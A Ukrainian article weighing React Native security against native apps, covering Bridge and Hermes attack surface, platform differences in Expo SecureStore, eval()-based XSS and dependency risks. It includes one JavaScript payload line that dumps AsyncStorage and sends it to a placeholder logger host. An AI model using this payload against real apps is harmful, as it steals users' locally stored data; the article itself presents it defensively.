Чи безпечні додатки на React Native у порівнянні з нативними

React Native — це крос-платформне рішення від Facebook, що дозволяє створювати iOS та Android додатки за допомогою JavaScript або TypeScript (щоб було простіше, узагальнемо як JavaScript).

Коли запускається React Native додаток, він стартує JavaScript движок (нативний чи самописний). Написаний розробниками JavaScript код запускається саме на цьому «движку». Комунікація між ним і нативною частиною відбувається через Bridge компоненту: коли в нативній частині виникають події, вони перетворюються на серіалізоване повідомлення, групуються та асинхронно передаються до JavaScript движка.

Аналізуючи архітектуру з точки зору безпеки, ми маємо брати до уваги кожну окрему компоненту та комунікацію між ними.

Платформу React Native створено Facebook, тобто це стороннє рішення. Коли розробники пишуть додатки під iOS та Android, вони довіряють Apple та Google системам, їхньому функціоналу, бібліотекам, апаратному забезпеченню. Рішення використовувати React Native означає, що відтепер потрібно довіряти Facebook, тобто з’являються нові вектори атаки.

Новим вектором атаки стає Bridge, який відповідає за комунікацію. Крім того, Facebook випустив власний JavaScript движок Hermes, він покращує роботу React Native додатків. Використання Hermes додає ще один вектор атаки. Між іншим, у Hermes були офіційно зафіксовані вразливості (наразі їх вже виправили): CVE-2020-1913CVE-2020-1912CVE-2020-1911.

Коли багато додатків використовують певний компонент, він стає ласим шматочком для атакуючих. Шанси, що будуть ламати, зростають.

Обираючи React Native та його компоненти (Bridge, Hermes), ви погоджуєтеся на всі нові ризики та наслідки, які вони додають.

Неправильне використання платформи

Improper platform usage (неправильне використання платформи) посідає перше місце в рейтингу вразливостей у мобільних додатках OWASP Mobile Top 10. До цього класу вразливостей входять неправильне використання біометричної аутентифікації, сховищ даних, криптографії з апаратної підтримкою, WebView компоненти і т. п.

Чому виникають такі вразливості? Кожна платформа має свій унікальний функціонал. Для того, щоб робити аналіз ризиків та загроз, необхідно знати та розуміти цей унікальний функціонал. Зібрана в OWASP Mobile Top 10 статистика показує, що велика кількість iOS та Android розробників мають доволі розмиті знання специфік платформи. У випадку з React Native розробниками, які мають справу одразу з двома платформами, проблеми помножуються.

React Native — це «дірява» абстракція

В iOS і Android є спільні та відмінні риси. React Native дає розробникам вищий рівень абстракції, який приховує риси, що відрізняються. Це зручно допоки ці риси не стають важливими, наприклад, для безпеки.

Продемонструємо це: розглянемо популярний пакет для безпечного зберігання даних SecureStore від Expo. На веб-сторінці SecureStore вказано, що цей пакет зберігає дані в зашифрованому вигляді. Так і є. Але, якщо ми оперуємо критичними конфіденційними даними, нас цікавлять деталі. Також нас цікавить, чи відповідає поведінка SecureStore стандартам та кращим практикам галузі, наприклад, OWASP MASVS.

Зазирнемо у SecureStore глибше і побачимо, що з точки зору безпеки його поведінка між платформами помітно відрізняється. Наприклад, на Android, що використовує SharedPreferences та Keystore, при перевстановленні додатку дані не зберігаються. А на iOS, що використовує Keychain — зберігаються. OWASP радить видаляти попередні дані при перевстановленні додатку. Тобто для iOS відсутня фіча, яка є важливою для безпеки. Її доведеться реалізувати окремо. Також є й інші відмінності, але не будемо на них зупинятися надто задовго.

Цей приклад демонструє, чому React Native розробникам важливо розуміти, що відбувається під капотом бібліотек, та як використовувати специфічний для кожної платформи функціонал, особливо коли безпека має неабияке значення.

Про типові JavaScript вразливості

Оскільки React Native використовує JavaScript (ReactJS, якщо конкретніше), варто звертати увагу й та типові JavaScript вразливості, наприклад, XSS атаки.

Не вдаючись в деталі, відмічу, що у JavaScript поверхня для атак є досить широкою. Вона звужується для ReactJS. І ще більше вона звужується для React Native. Наприклад, React Native не використовує чистий HTML (на відміну від Cordova).Тобто популярні браузерні XSS атаки, як ті, що базуються на href атрубиті, будуть неможливі.

Хоча загалом вважається, що React Native додатки непогано захищені від типових JavaScript атак, але все ж такі XSS можливі. Розробники все ще можуть використати доволі небезпечне JavaScript API, наприклад, функцію eval().

Якщо наведений нижче код передати в eval(), можна вкрасти всі дані, що зберігаються локально в AsyncStorage.

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});

Тому React Native розробникам слід ретельно перевіряти та очищати дані, які вони передають в eval(), а також використовувати лінтери, що знаходять потенційно небезпечний код, наприклад, ESLint.

Про залежності

Facebook каже, що React Native використовує підхід «Learn once, write anywhere» (вивчай один раз, пиши всюди). В результаті розробники уникають написання нативного коду. Якщо виникає необхідність додати фічу, якої немає в оригінальному SDK, скоріш за все, вже є стороння бібліотека, яка реалізує цю фічу.

Таким чином, з’являється багато залежностей, що під капотом несуть ще й інші залежності. Десятки перетворюється на сотні, а з ними й вразливості всередині.

Ось приклад з реального проекту:

А це той самий проект через деякій час, після оновлення залежностей:

Підтримка React Native проекту вимагає додаткових зусиль: постійного моніторингу залежностей, регулярних оновлень, вирішення конфліктів версій.

Далеко не всі залежності оперативно виправляють знайдені вразливості. В такому разі розробники перевіряють, чи використовується у коді вразливий компонент, документують це, моніторять оновлення. Інколи доцільніше відмовитися від вразливої бібліотеки. Головна проблема полягає у тому, що все це потребує додаткових затрат часу, а вразливість може всплисти в будь-який момент.

Щодо оновлення, розробники добре знають: раз на рік потрібно бронювати час на підтримку нової версії операційної системи. Цей процес відрізняється для React Native.

Нова версія операційної системи може вносити вагомі зміни, зокрема, пов’язані з безпекою. Водночас розробники очікують також й на оновлення з боку React Native. Якщо компанія використовує fork від основного React Native репозиторію, потрібно оновити цей fork. Далі розробники чекають на оновлення залежностей і лише тоді можуть повноцінно оновити код додатку. Цей процес може розтягнутися на кілька днів.

Підбиваємо підсумки

React Native додатки можуть бути такими ж безпечними, як нативні додатки, якщо:

  • ви приймаєте ризики, що React Native додає як платформа (ви довіряєте коду від Facebook).
  • у вас є інженери з експертизою в безпеці по кожній з платформ: iOS, Android, React Native. Це можуть бути досвідчені React Native розробники, які досконало розбираються у специфіці кожної з платформ, зокрема, у безпеці. Або компанія може найняти зовнішніх спеціалістів.
  • ви розумієте та приймаєте ризики, що пов’язані з плануванням та затримкою релізів, зокрема, коли це стосується оновлення системи та залежностей.

На мій погляд, компанії часто обирають React Native, щоб зекономити, оскільки код пишеться під одну платформу, а не під дві. Але, якщо безпека даних додатку має високий пріоритет, то одна частина цього зекономленого часу піде на відпрацювання нюансів відмінностей в безпеці платформ, а інша — на вразливі залежності або написання нативного коду для того, щоб їх замінити.